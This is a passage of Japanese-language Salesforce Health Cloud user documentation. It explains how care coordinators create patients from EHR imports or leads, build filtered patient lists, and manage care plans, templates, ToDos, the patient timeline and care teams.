• ギアボタン をクリックすると、リストを作成または編集できます。
• 検索テキストボックスにテキストを入力すると、ページ内の項目を検索できます。テキストは表示してい

るページ内で検索できます。各ページには、最大 500 人の患者が表示されます。リストに 500 人を超える患
者が含まれている場合、複数ページに患者が表示され、各ページ内で検索を行う必要があります。

• [アクション] リストから、選択した患者に関する ToDo を作成できます。

患者は、リスト作成に使用した条件に一致している間、カスタムリストに表示されます。たとえば、過去 30

日間に膝関節置換手術を受けた患者を表示するカスタムリストがあるとします。患者は手術後 30 日間、この
リストに表示されます。期間が終了すると患者はリストに表示されなくなります。したがって、5 月 1 日に膝
の手術を受けた Joe Smith は、5 月 31 日まで表示されます。Joe がカスタムリストに表示されなくなっても、シ
ステム内には保持されており、Joe が患者である限り、他のリストに追加できます。
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患者カードを使用した患者の包括的ビュー
エディション

Health Cloud を使用可能な
インターフェース:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

患者を効果的に管理するには、患者の情報がすぐに手に入るようにする必要が
あります。患者カードでは、患者の医療カルテから、疾患、投薬、連絡先情報
など最も重要な情報が抽出され、すべてが 1 か所に表示されます。必要な情報
を、検索したり他のページをクリックしたりせずに簡単に確認できます。

患者に関する詳細な情報にドリルダウンするには、[新規タブを開く]を選択します。システム管理者は投薬、
疾患、医療機器データなどのサブタブへのリンクを追加できます。サブタブには、患者ケアの該当する局面に
関するすべての情報が表示されるため、コンテキストを切り替えたり、ページを離れたりする必要がありませ
ん。多種多様な患者の情報を同時に表示して処理できます。
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教育的な記事およびプロトコルの検索
エディション

Health Cloud を使用可能な
インターフェース:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ナレッジウィジェットを使用して、患者に適した情報を取得します。コンソー
ルから直接プロトコル、教育的な記事および動画、Web サイトへのリンクを検
索できるため、作業しているページから移動する必要がありません。
• 記事を作成して管理します (記事の作成権限がある場合) (1)。
• 記事およびプロトコルを検索します (2)。
• ウィンドウの幅に合わせてウィジェットの位置とサイズを調整します。ウィ

ンドウが 600 ピクセル未満の場合は、検索可能なオブジェクトがドロップダ
ウンメニューで表示されます。

Health Cloud コンソールの使用準備

エディション

Health Cloud を使用可能な
エディション: Salesforce
Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Health Cloud コンソールを使用して患者の管理を始めるには、いくつかの設定作
業を行う必要があります。
EHR などの臨床システムは、患者のケアプランの作成、実行、および管理にとっ
て重要な医療情報を提供します。Health Cloud コンソールでは患者の医療カルテ
を俯瞰できますが、Health Cloud は EHR を補強するために設計された別のシステ
ムです。ソースとなる医療カルテシステムから情報を受信しますが、EHR に情報
を送信することはありません。EHR システムは常にシステムオブレコード (記録
システム) として機能します。
最初の作業の 1 つは、医療カルテとのインテグレーションから取り込まれた情
報をもとに患者を作成することです。そのプロセスで、自分をケアコーディネー
タとして割り当て、患者をすぐに管理できるようにします。次に、医師、家族、
およびその他のケア提供者をケアチームに追加します。最後に、患者固有の疾患に合わせて調整されたケアプ
ランを作成します。

Chatter プロファイルの入力
プロファイルにより、やりとりする同僚や患者はあなたがどのような人かを知ることができます。あなた
の写真や、役職および連絡先詳細などの基本情報が含まれます。Chatter の使用を開始したらすぐに Chatter

プロファイルを設定し、常に最新の状態に維持します。患者にも喜ばれるでしょう。
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患者の作成
EHR システムから患者名を選択すると、患者の管理を開始するために必要なすべてのレコードおよびオブ
ジェクトを Salesforce が作成します。
カスタマイズされた患者リストの作成
共有する疾患、共通のプロトコル、またはケアの管理に重要なその他の類似点に基づいて、独自の患者リ
ストを作成できます。マスタ患者リストを分割して、より小さく管理しやすいリストを簡単に作成できる
ようになりました。

Chatter プロファイルの入力
エディション

Health Cloud を使用可能な
インターフェース:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

プロファイルにより、やりとりする同僚や患者はあなたがどのような人かを知
ることができます。あなたの写真や、役職および連絡先詳細などの基本情報が
含まれます。Chatter の使用を開始したらすぐに Chatter プロファイルを設定し、
常に最新の状態に維持します。患者にも喜ばれるでしょう。
1. Health Cloudヘッダーで、プロファイル画像のプレースホルダをクリックしま

す。ページの左側にあるプレースホルダのプロファイル画像を見つけ、[私の
プロファイル] を選択します。

2. プロファイル写真を更新するには、プレースホルダの画像にマウスを置き、
[写真の追加] をクリックします。

ヒント: グループやペットではなく、自分の写真を使用します。写真の推奨解像度は 200 × 200 ピクセ
ルです。

3. 連絡先情報を編集するには、[連絡先] セクションで をクリックします。
4. [概要] タブで、自分に関するその他の情報を追加します。

ヒント: 所属部署、経験など、プロファイルに詳細を入力します。

5. [すべて保存] をクリックします。

患者の作成
エディション

Health Cloud を使用可能な
エディション: Salesforce
Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

EHR システムから患者名を選択すると、患者の管理を開始するために必要なすべ
てのレコードおよびオブジェクトを Salesforce が作成します。

患者作成時のバックグラウンド処理
患者を作成するたびに、Salesforce が次のアクションを実行します。
リードから患者の作成
Salesforce にすでに含まれているリードから患者を作成します。
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インポートされたレコードからの患者の作成
電子医療カルテシステムとの統合によって取り込まれた情報を使用して患者を作成します。

患者作成時のバックグラウンド処理
患者を作成するたびに、Salesforce が次のアクションを実行します。
• EHR システムと対応付けた項目に基づいて、患者を個人として作成します。個人は、個人 ID によってリン

クされるアカウントと連絡先の両方のオブジェクトビューです。
• 個人のアカウントを作成します。
• 個人の連絡先レコードを作成します。連絡先レコードは個人 ID を介してアカウントとリンクされます。
• CarePlan レコードタイプを使用してケースを作成します。この処理によってケアプランのページレイアウト

が自動的に表示されます。ケアコーディネータが選択されている場合は、コーディネータがケースの所有
者になります。

• ケアプランを表すケースをアカウントレコードに追加します。
• 個人を患者とするケースチームを作成し、ケアコーディネータ (選択されている場合) を追加します。
• 患者のアカウント ID を [患者候補] レコードに追加します。

リードから患者の作成

ユーザ権限

リードの取引を開始する
• 「取引の開始」

Salesforce にすでに含まれているリードから患者を作成します。

メモ: 取り込まれたレコードを患者に変換するには、[患者候補] ではなく
リードオブジェクトを使用できます。この 2 つのオプションが両方選択リ
ストに表示される場合は、Health Cloud システム管理者に連絡して、どちら
のオブジェクトを使用するかを確認してください。

[リード] リストビューには、会社が Salesforce で作成したリードレコードや、EHR システムとの統合により Salesforce

にインポートされたリードレコードがすべて表示されます。

メモ: リードから患者を作成するには、[リード] リストビューの [患者に変換]ボタンを使用します。[リー
ドの詳細] ページの [取引の開始]ボタンは使用しないでください。このボタンは、Health Cloud に関連付け
られていない他のレコードタイプ (取引先、取引先責任者など) にリードを変換します。

患者は、Health Cloud - Console または Health Cloud - Worklist アプリケーションから作成できます。
1. ワークリストまたはコンソールから、[リード] を選択します。

2. [リードビュー] セクションのドロップダウンリストからリストビューを選択してそのリストページに直接
移動するか、[新規ビューの作成] をクリックして自分専用のカスタムビューを定義します。
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3. 患者レコードに変換するリードレコードを 1 つ以上選択します。
4. [患者に変換] をクリックします。

5. 重複する患者がないか確認します。重複がなければ、[次へ] をクリックします。
リードを変換する前に Salesforce は、重複値を含むレコードがないかどうかをチェックしてそのレコードを
表示します。[ソースシステム ID]、[ソースシステム]、および [医療カルテ番号] の各項目の値は一意である
必要があります。また、これらの項目の値を既存の取引先レコードに関連付けることはできません。これ
らの項目の値は有効なレコードタイプに関連付ける必要があります。重複レコードは、変換前に解決する
必要があります。
重複のないリードは、変換プロセスを続行できます。修正が必要なレコードをメモし、変換プロセスを続
行して、重複をソースシステムで後で修正します。

6. 必要に応じてテキストボックスに名前を入力し、患者に割り当てるケアコーディネータの名前を検索して
選択します。

メモ: このステップでケアコーディネータを割り当てなくても、後から [ケアプラン] ケースレコード
の [ケースチーム] セクションで割り当てることができます。また、システム管理者によって自動のケー
ス割り当てルールを作成することもできます。

7. [次へ] をクリックします。
8. 患者および割り当てられたコーディネータ (割り当てられている場合) のリストを確認し、[取引の開始] を

クリックして変換プロセスの最終処理を行います。

インポートされたレコードからの患者の作成
電子医療カルテシステムとの統合によって取り込まれた情報を使用して患者を作成します。
患者を作成する頻度は、組織が EHR などのバックエンドシステムをHealth Cloudに統合するかどうかによって大
きく異なります。
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[患者候補] ページには、EHR システムとの統合によって Salesforce に取り込まれたすべてのレコードが表示され
ます。
• [すべて]には、ソースレコードシステムから取り込まれたすべての患者が表示されます (まだHealth Cloudの

患者に変換されていない患者を含む)。すでに変換されている患者は、[患者候補レコード] をクリックして、
Health Cloud コンソールに患者データを表示できます。まだ変換されていない患者は、患者の名前をクリッ
クすると、Health Cloud の患者レコードに取り込み待機中の情報が表示されます。

• [未変換] には、ソースレコードシステムから取り込まれているが、Health Cloud の患者レコードに変換され
ていないレコードが示されます。

• [変換済み] には、Health Cloud の患者レコードに正常に変換されたレコードが表示されます。コンソールの
主タブが開いてるときに、このリストをコンソールに固定できます。

患者に変換するレコードを選択すると、次の作成をはじめ、その個人のバックグラウンド設定がすべてシステ
ムで実行されます。
• MRN などの ID、基本的な連絡先情報、疾患や薬剤といった重要な医療情報を表示する項目などを記した患

者カード
• 空白のケアプラン
• 患者とケアコーディネータ (選択されている場合) からなるケアチーム
患者は、Health Cloud - Console または Health Cloud - Worklist アプリケーションから作成できます。
1. ワークリストまたはコンソールから、[候補患者] リストを選択します。

2. [すべて] ページから、[未変換] を選択します。

[未変換] ページでは、Health Cloud にまだ患者レコードがない患者を選択できます。

3. 必要に応じて、[ワークリスト] ビューで患者名をクリックし、ソースとなるカルテシステムから得たその
患者の詳細を表示します。患者の情報は別のタブで開きます。
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4. 取り込まれた患者レコードで変換するものを 1 つ以上選択します。
5. [アクション] メニューから、[患者に変換] を選択します。

重複する MRN がチェックされて一覧表示されます。MRN が重複する名前を選択することはできません。重
複は元のレコードシステムで解決する必要があります。重複する ID が削除されたら、レコードを再イン
ポートして患者に変換できます。

6. 重複する患者がないか確認します。重複がなければ、[次へ] をクリックします。
レコードが重複している場合は、ソースとなる医療カルテシステムで解決しない限り変換できません。

7. 必要に応じて、患者に割り当てるケアコーディネータの名前を検索して選択します。

メモ: このステップでケアコーディネータを割り当てなくても、後から [ケアプラン] ケースレコード
の [ケースチーム] セクションで割り当てることができます。また、システム管理者によって自動のケー
ス割り当てルールを作成することもできます。

8. [次へ] をクリックします。
9. 患者および割り当てられたコーディネータ (割り当てられている場合) のリストを確認して、[保存]をクリッ

クします。
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カスタマイズされた患者リストの作成
エディション

Health Cloud を使用可能な
エディション: Salesforce
Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

患者リストを作成する
• 「Health Cloud 標準」

共有する疾患、共通のプロトコル、またはケアの管理に重要なその他の類似点
に基づいて、独自の患者リストを作成できます。マスタ患者リストを分割して、
より小さく管理しやすいリストを簡単に作成できるようになりました。

メモ: 患者リストで使用するレコードや項目が表示されない場合は、Health

Cloud 管理者に問い合わせてアクセス権を要求してください。
1. [患者リスト] タブで、ギア をクリックし、[新規リストを作成]を選択しま

す。
2. 最初の行の第 1 参照内でクリックし、検索条件として使用するレコード名を

入力します。参照項目の入力を開始するときに、一致するレコードの動的な
リストがこの項目に表示されます。
たとえば、処方箋を保持するレコードを選択し、共通の薬剤に基づいてリス
トを作成できます。レコードを選択したら、そのレコード内の任意の項目を
選択し、リストの列として表示できます。必要なレコードがリストにない場
合、Health Cloudシステム管理者がそのオブジェクトへのクロスオブジェクト
リレーションを作成することでオブジェクトを追加できます。詳細は、『Health

Cloud Implementation Guide』を参照してください。
3. 第 2 参照項目では、表示するそのレコードに項目の名前を入力します。

たとえば、薬剤名または ID を選択します。
4. 検索条件の演算子を選択します。

検索条件内の演算子はセンテンス内の動詞に似ています。演算子を使用して、検索条件で実行するアクショ
ンを指定します。

5. 一致または除外する値を入力します。
たとえば、演算子 equals と値 insulin を持つ検索条件を作成し、インスリンを使用する患者について
結果を返すことができます。
この項目に表示される値は選択する項目の種別と連動しています。たとえば、[入院期間終了] を選択した
場合、日付項目と時間項目が表示されます。または、[医療施設の再承認] などのチェックボックス項目を
選択した場合、値が True のチェックボックスが表示されます。

メモ: 検索条件にはいくつかの制限事項があります。
• [なし] は、選択リストでは使用できません。
• 条件として ID 項目を選択する場合は、必ず有効な ID を入力してください。ID 値は検証されません。
• 条件として日付項目を選択する場合、その値を空白または null にしないでください。

6. 必要に応じて行を追加します。
たとえば、「過去 6 か月間に入院した糖尿病の患者」という条件を追加します。

7. 複数の検索条件行がある場合、条件をさらに詳細に設定できます。論理式を [検索条件ロジック] テキスト
ボックスに入力し、検索条件に検索条件ロジック演算子を適用します。
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• 適用できる検索条件ロジック演算子は AND および OR です。たとえば、(1 AND 2) OR 3 という式では、検
索条件 1 と検索条件 2 の両方、または検索条件 3 と一致するレコードが検出されます。式で指定してい
ない検索条件行は無視されます。

• [条件ロジック]テキストボックスを空のままにした場合、デフォルトの演算子ANDがすべての検索条件
行に適用されます。

8. [次へ] をクリックします。
9. カテゴリごとに表示する項目を選択します。[患者名] 項目は患者リストに自動的に表示されます。

a. 項目を追加または削除するには、項目名を選択してから [追加] または [削除] 矢印をクリックします。
b. 矢印を使用して、項目の順序を並び替えます。

10. [次へ] をクリックします。
11. リストの名前を入力します。
12. [新規リストを保存] をクリックします。

例: 次に、糖尿病の患者のリストを作成する方法の例を示します。追加の検索条件行を作成してリストの
範囲を絞り込むことができます。
次の検索条件を [フィルタを追加] ページに追加します。
• レコード: レコード
• オブジェクト: EHR 疾患
• 項目: コードの表示ラベル
• 検索条件: 次の値を含む
• 値: 糖尿病
リストの表示方法をカスタマイズするには、表示する項目を選択し、その順序を並び替えます。リスト
に名前を付け、作業内容を保存します。

関連トピック:

検索条件ロジックの追加

ケアプランを使用した患者の目標達成の支援

エディション

Health Cloud を使用可能な
エディション: Salesforce
Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

健康上の問題の管理を容易にするために、患者やケア担当者に目標と ToDo を割
り当て、患者がプランに沿って健康を改善できるようにします。カスタマイズ
可能なケアプランは、いわば患者の健康状態を改善するためのアクションプラ
ンのようなものです。

患者のケアプランの作成
カスタマイズ可能なケアプランによって、患者は健康を改善するために現実
的な手段を日々講じることができます。
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問題および目標の追加
問題と関連する目標によって患者のケアプランの基本的な構造が形成されます。ケアプランには患者の主
タブからアクセスします。
ToDo

ToDo は、患者に関連付けられている活動を追跡および測定するのに役立ちます。Health Cloud コンソールで
は、ケア担当者に予約診療のために患者を連れてくることを依頼したり、予約診療に来なかった患者のフォ
ローアップについて自分自身へのリマインダーを設定したり、患者に入院前アンケートを割り当てたりす
ることができます。

患者のケアプランの作成
エディション

Health Cloud を使用可能な
エディション: Salesforce
Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

カスタマイズ可能なケアプランによって、患者は健康を改善するために現実的
な手段を日々講じることができます。
ケアプランは、明確に定義された目標と ToDo で構成され、健康上の問題の軽減
やコントロールに役立ちます。ケアプランは、ヘルスケアチームが患者の既往
歴や経過、健康に関する課題を確認するのに役立ちます。ケアプランには、問
題と関連する目標、ToDo をいくつでも含めることができ、コンソールの患者の
タブから追跡できます。問題は重要度に基づいてリスト表示され、優先度の高
い項目が先頭に表示されます。
患者のケアプランは次のコンポーネントで構成されます。
• 問題 (1) は、具体的な診断名から一般的な症状まで、臨床的・非臨床的な健

康上の問題です。かかりつけ医、検査、患者から報告された問題、診断、病
気の段階など、さまざまなソースから特定されます。問題は、具体的な診断名 (「慢性気管支炎」など) の
場合もあれば、一般的な問題 (「この患者には自宅での日常生活に補助が必要」など) の場合もあります。
問題に優先度を割り当てると、問題は優先度順に表示されます。

• 目標 (2) は、問題を改善するための患者の目標です。目標は、問題のコンテキスト内でのみ作成できます。
1 つの問題に目標が複数ある場合もあります。たとえば、関節炎の患者の場合は、日々の痛みのレベルを
4/10 未満に抑えること、そして可動域を維持するか、または広げる、というような目標が考えられます。
患者の経過が目標に近づいたら、目標のステータスを更新します。

• ToDo (3) は、問題を軽減するための目標に向けた具体的で測定可能なアクションです。したがって、関節炎
の患者の目標が「可動域を維持するか、または広げる」ということであれば、「理学療法を受ける」とい
う ToDo が考えられるわけです。ToDo には、「優先度」、「期日」、「ステータス」、「ToDo の実行者」
を示す項目があります。ToDo が完了したら、関連する目標の達成率を更新します。
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問題および目標の追加
エディション

Health Cloud を使用可能な
エディション: Salesforce
Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

ToDo を作成する
• 「Health Cloud 標準」

問題と関連する目標によって患者のケアプランの基本的な構造が形成されます。
ケアプランには患者の主タブからアクセスします。
1. [ケアプラン] タブに移動します。
2. [作成] を選択し、[問題] をクリックします。

a. 問題名 (「必要な糖尿病の基本的なセルフケア」など) と説明を入力します。
b. 必要に応じて、問題の優先度を選択します。

問題は優先順に表示されます。
c. [保存] をクリックします。

3. 問題の目標を作成するには、[アクション]ボタン をクリックして、問題内
から [目標を作成] を選択します。
a. 目標の名前 (「合併症を防止する適切なフットケア」など) と説明を入力し

ます。
b. 必要に応じて、目標の優先度を選択します。

目標は優先順に表示されます。
c. [進捗状況 (%)] 項目に、目標達成に向けた進歩率を入力します。
d. [保存] をクリックします。

問題ごとに複数の目標を作成できます。

目標ごとに、目標を実現するための ToDo を作成します。

ToDo
ToDo は、患者に関連付けられている活動を追跡および測定するのに役立ちます。Health Cloudコンソールでは、
ケア担当者に予約診療のために患者を連れてくることを依頼したり、予約診療に来なかった患者のフォロー
アップについて自分自身へのリマインダーを設定したり、患者に入院前アンケートを割り当てたりすることが
できます。
Health Cloud では、複数の場所で ToDo を作成できます。
• 患者リストから、個々の患者、複数の患者、あるいは自分に対して ToDo を作成することで時間と手間を節

約できます。患者リストから患者を選択し、ToDo を作成するだけで完了です。共通の疾患を持つ患者のグ
ループに対する健康に関するアンケートや経過観察に関する質問票などをすばやく簡単に追跡できます。
また、重要なマイルストンを追跡できるように、患者に関する ToDo を自分に割り当てることもできます。

• 患者のケアプランから、患者やケア担当者の ToDo を作成します。これらの ToDo は、関連する問題を軽減
するための目標に向けた具体的で測定可能なアクションです。たとえば、関節炎の患者の目標が可動域を
改善することであれば、毎週理学療法を受けるという ToDo を設定します。

• ケアチームのメンバーがコミュニティに属している場合は、メンバーのプロファイル内のリンクを使用し
てケアチームメンバーに ToDo を割り当てます。これらの ToDo はケアプランに関連する問題や目標に直接
関連付けられません。
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すべての ToDo には、説明、期日、ToDo の種別、ToDo を割り当てられた人、ToDo の実行の責任者などの基本情
報の項目があります。ケアプラン内から作成された ToDo には、さらに ToDo を特定の問題や目標に関連付ける
ための項目もあります。
ケアチームメンバーの ToDo を作成すると、その ToDo は常にそのメンバーに割り当てられます。患者リストか
ら ToDo を作成すると、ToDo の実行者として自分または患者を選択できます。
自分またはケアチームメンバーに属する ToDo はケアプランの ToDo リストで追跡できます。条件を使用して、
患者に関連するすべての ToDo、ケアプランの目標や問題に関連する ToDo、または目標や問題に固有ではない
関連しない ToDo を表示できます。

患者はコミュニティ内から ToDo を参照できます。自分に割り当てた ToDo は、Salesforce の [ホーム] タブの ToDo

リスト、[Today] ページ、および患者のケアプランの ToDO リストに表示されます。

患者とそのケアに関連する ToDo の作成
患者またはそのケア担当者の ToDo を作成すると、ケアプランに関連する活動を簡単に追跡して管理できま
す。
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患者とそのケアに関連する ToDo の作成

エディション

Health Cloud を使用可能な
エディション: Salesforce
Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

ToDo を作成する
• 「Health Cloud 標準」

患者またはそのケア担当者の ToDo を作成すると、ケアプランに関連する活動を
簡単に追跡して管理できます。

メモ: Salesforce Communities は Health Cloud のコラボレーションサポートを提
供しています。コラボレーション機能の一部は、Salesforce Communities を有
効にして非公開の患者コミュニティを作成しなければ使用できません。

患者リストまたは患者のケアチームから ToDo を作成すると、その ToDo はケアプランの問題または目標に関連
付けられないため、これらの項目は表示されません。これらの ToDo は、関連がない ToDo のリストまたは [す
べての ToDo] リストに表示されます。[ケアプラン] から作成された ToDo は、関連 ToDo のリストに表示されま
す。
1. コンソールの次のいずれかの場所から ToDo を作成します。

• [患者リスト] から、1 つ以上の患者名を選択し、[アクション] メニューをクリックして [ToDo を作成] を
選択します。

• [ケアプラン] ページで、ケアプラン上部の [作成] メニューか、ケアプランの目標内の [ToDo を作成]

ボタンを選択します。
• 患者のケアチームから、メンバーの写真をクリックし、[ToDo を作成]を選択します。ケアチームのメン

バーは、ToDo の割り当て先コミュニティのメンバーである必要があります。

2. ToDo の件名と説明を入力します。
わかりやすい ToDo 名と役に立つ説明を追加します。
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3. [ToDo 所有者] 項目で、この ToDo の責任者の名前を選択します。この責任者は ToDo を監督または実行できま
す。この項目には、内部ユーザまたはコミュニティメンバーである人物の名前が表示されます。
通常、ToDo を作成すると、デフォルトで自分のユーザ名に割り当てられますが、他のユーザを選択するこ
ともできます。ケアチームメンバーの ToDo を作成すると、その ToDo は選択したメンバーに割り当てられ
ます。

4. ToDo がケアチームの外部メンバーによって実行される場合、ToDo を実行する人物の名前を選択します。
5. 作成する ToDo の種別を選択します。
6. ToDo の優先度と状況を選択します。
7. ケアプランから ToDo を作成する場合、この ToDo が関連付けられる問題と目標を選択します。

選択リストに表示される目標は、選択した問題に関連付けられます。

メモ: 患者リストまたは患者のケアチームから作成された ToDo は、ケアプランの問題または目標に関
連付けられません。これらの ToDo は、関連がない ToDo のリストまたは [すべての ToDo] リストに表示
されます。

8. カレンダーから期日を選択します。
9. [保存] をクリックします。

ケアプランテンプレートで患者の受け入れを簡略化

エディション

Health Cloud は Salesforce
Classic で使用できます。

使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ケアプランテンプレートを使用すれば、クリックを数回するだけでカスタマイ
ズされた患者ケアプランを作成できます。ケアコーディネータのワークフロー
から「ワーク (作業)」をなくしましょう。コーディネータは問題、目標、および
ToDo を一括して患者のケアプランに追加できます。定義済みケアプランテンプ
レートを使用することでケアプランを作成する時間を短縮でき、ケアの標準を
適用してヘルスケアの成果を高めることができます。

ケアプランテンプレートの選択
Health Cloud コンソール内から、会社のケアプランテンプレートのライブラリ
を検索し、患者の疾患に合ったテンプレートを選択できます。
ケアプランテンプレートのカスタマイズ
患者によってジャーニーは異なります。ケアプランテンプレートを選択したら、患者に適用する問題、目
標、および ToDo を選択してカスタマイズできます。
患者へのケアプランテンプレートの適用
テンプレートを選択し、患者に適用しない項目を削除したら、作業結果を確認して完了です。
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ケアプランテンプレートの選択
エディション

Health Cloud は Salesforce
Classic で使用できます。

使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Health Cloud コンソール内から、会社のケアプランテンプレートのライブラリを
検索し、患者の疾患に合ったテンプレートを選択できます。

メモ: 患者のケアチームには、ToDo をケアコーディネータに割り当てられ
るように、ケアーコーディネータロールの内部ユーザが少なくとも 1 人必
要です。

[テンプレートの選択] タブを使用して、テンプレートを選択し、患者に適用しま
す。
1. 患者カードのナビゲーションメニューから、[ケアプランテンプレート] を選

択するか、その患者の [ケアプランテンプレート] サブタブをクリックしま
す。

2. テキストボックスに名前を入力し、虫眼鏡アイコンをクリックするか、Enterキーを押して、テンプレート
を検索 (1) します。
テキストボックスに少なくとも 2 文字を入力して検索を実行します。一度に最大 500 個のテンプレートを表
示できます。検索しているテンプレートがリストにない場合、検索条件を絞り込んでみてください。

3. テンプレート (2) を選択して患者に適用します。患者あたり 5 つのテンプレートまで追加できます。
別のページに移動したり、他のテンプレートを別途検索しようと決めた場合でも、選択されたテンプレー
トはリストに残ります。

4. 選択したテンプレートが指定のテンプレートセクションに表示されます (3)。リストからテンプレートを削
除する場合は、[X] をクリックするか、テンプレート名の横のボックスをオフします。

5. [次へ] をクリックします。
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ケアプランテンプレートのカスタマイズ
エディション

Health Cloud は Salesforce
Classic で使用できます。

使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

患者によってジャーニーは異なります。ケアプランテンプレートを選択したら、
患者に適用する問題、目標、および ToDo を選択してカスタマイズできます。

メモ: 患者に ToDo を割り当てるには、患者がコミュニティユーザである必
要があります。患者がコミュニティユーザではない場合、患者の ToDo はケ
アコーディネータに割り当てられます。

[患者用にカスタマイズ] タブでケアプランを調整して患者固有のヘルスケアニー
ズに合わせます。
1. ケアの連携のための ToDo (予定のスケジュール作成、フォローアップの電話

など) を担当するケアコーディネータの名前 (4)を選択します。患者がコミュ
ニティのメンバーではなく、ToDo に割り当てできない場合は、ケアコーディ
ネータがこれらの ToDo に割り当てられます。内部 Salesforce ユーザであるケアコーディネータのみがリスト
に表示されます。

2. 患者のケアプランを開始した日付 (5) を選択します。
この日付は、ケアプランに関連付けられた問題、目標、ToDo のアンカー日付です。オフセット日付がある
ToDo ではこの日付が開始点となり、割り当てオフセットが開始日付に追加されます。たとえば、テンプレー
トの開始日が 12 月 9 日で、ToDo のオフセットが +7 日の場合は、ToDo の期日は 12 月 16 日になります。

3. 患者に適用されない項目はすべて、チェックボックスをクリアして削除します (6)。
各ケアプランテンプレートには、選択された関連する問題がデフォルトで表示されます。デフォルトの問
題や目標が患者に合ったものではない場合は、問題または目標とその子項目をケアプランから削除できま
す。たとえば、患者にはすでに血糖コントロールが供給されていれば、供給品を購入する ToDo は削除でき
ます。問題を削除すると、それに関連付けられた目標と ToDo が削除されます。

4. 問題、目標、および ToDo の個人セクションを展開するには、三角形をクリックします (7)。
ToDo のリストを展開すると、所有者、優先度、およびオフセット日付の数値が表示できます。

5. [次へ] をクリックします。

メモ: [戻る] ボタンをクリックすると、変更が失われます。

7100

ケアプランテンプレートのカスタマイズHealth Cloud を使用した患者ケアでのコラボレーション
と連携



患者へのケアプランテンプレートの適用
エディション

Health Cloud は Salesforce
Classic で使用できます。

使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

テンプレートを選択し、患者に適用しない項目を削除したら、作業結果を確認
して完了です。
1. 患者に適用する前にケアプランを確認します。

ケアプランの項目を追加または削除してから完了する場合は、[戻る] をク
リックして変更を加えます。

2. [適用]をクリックすると、問題、目標および ToDo を含むケアプランが患者の
[ケアプラン] タブに追加されます。
ケアプランに多くの問題、目標、および ToDo を追加すると、すぐに変更が
表示されない場合があります。[ケアプラン] タブを更新すると、数分でケア
プランに追加した内容が表示されます。
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患者の医療行動のタイムラインの監視

エディション

Health Cloud を使用可能な
インターフェース:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

患者のタイムラインには、患者の医療に関する行動と活動のスナップショット
が時系列で表示されます。
タイムラインに表示される情報は対話型であるため、任意の時間単位を選択し、
患者のケアに関するすべての重要な詳細を表示したり、行動を絞り込んで特定
のビューを表示したりできます。これにより、過去 90 日間の患者の処方のス
ナップショットの取得や、予定されている今後 6 週間の医療行動の確認が非常
に簡単になりました。
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タイムラインに表示される行動 (1) を絞り込むことができます。すべての健康カルテとエンゲージメント行動
を表示するか、一部のみを表示することができます。別の医師からのメッセージ、患者に送信したフォーム、
診断された疾患、退院日、その他の電子健康カルテなどの行動を表示するように絞り込みます。
患者の今後の医療活動 (2) を表示するには、開始日を選択し、その日付から何日後までを表示するかを選択し
ます。表示する期間の長さに応じて、この期間を短縮したり、最大 365 日まで延長したりできます。
行動 (3) の上にカーソルを置くと、その行動の特長 (特定の日付に処方された薬剤の名前と量など) が表示され
ます。
メインタイムラインの下には、タイムラインをすばやくスクロールできるスライダが付いたミニマップ (4) が
あります。日付の範囲を再定義するには、スライダの端のマーカーをドラッグします。スライダをドラッグす
ると、その位置に応じて [開始日] 項目と [表示する日数] 項目が変更されます。開始日を設定したり、行動のク
ラスタをドリルインして調査したりするには、タイムライン行動のクラスタをクリックします。

非公開の患者コミュニティによる患者への関与

エディション

Health Cloud を使用可能な
エディション: Salesforce
Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ケアチームは患者の非公開コミュニティのハブであり、患者のケアプランの成
功に向けて取り組む全員を代表します。組織内および組織外のヘルスケア従事
者、および患者の家族が含まれます。

長期ケアチームの管理
専門家と個人のケア担当者から成る運用チームを利用する患者は、疾患の管
理をより適切に行うことができます。健康管理において各メンバーが重要な
役割を果たし、患者の経過を確実に追っていきます。
ケアチームへのメンバーの追加
さまざまな役割のユーザをケアチームに迅速かつ簡単に追加できます。組織
の業務に従事するユーザは内部メンバーとみなされ、患者についてより多く
の情報にアクセスできます。家族や外部の業者などの外部メンバーは、システム管理者が設定した共有ルー
ルに基づいて患者の情報へのアクセスが制限されます。
[Chatter フィード] を使用したケアチームとのコラボレーション
[コラボレーション] タブの [Chatter フィード] には、ケアチームコミュニティメンバーとのすべての会話およ
びケアプランに関する活動が表示されます。
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ケアチームメンバーへの非公開メッセージの送信
Chatter メッセージを使用すると、ケアチームのメンバーである他の Chatter ユーザと安全に非公開の会話を
行うことができます。メッセージを使用すると、ファイルを共有したときに共有先のユーザに通知できま
す。メッセージが、フィード、プロファイル、グローバル検索結果、またはその他の Chatter の公開部分に
表示されることはありません。

長期ケアチームの管理
エディション

Health Cloud を使用可能な
エディション: Salesforce
Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

専門家と個人のケア担当者から成る運用チームを利用する患者は、疾患の管理
をより適切に行うことができます。健康管理において各メンバーが重要な役割
を果たし、患者の経過を確実に追っていきます。

メモ: Salesforce Communities は Health Cloud のコラボレーションサポートを提
供しています。コラボレーション機能の一部は、Salesforce Communities を有
効にして非公開の患者コミュニティを作成しなければ使用できません。

システム管理者は次のようなロールを定義します。
• ケアコーディネータ
• 患者
• ケア担当者
• 主治医

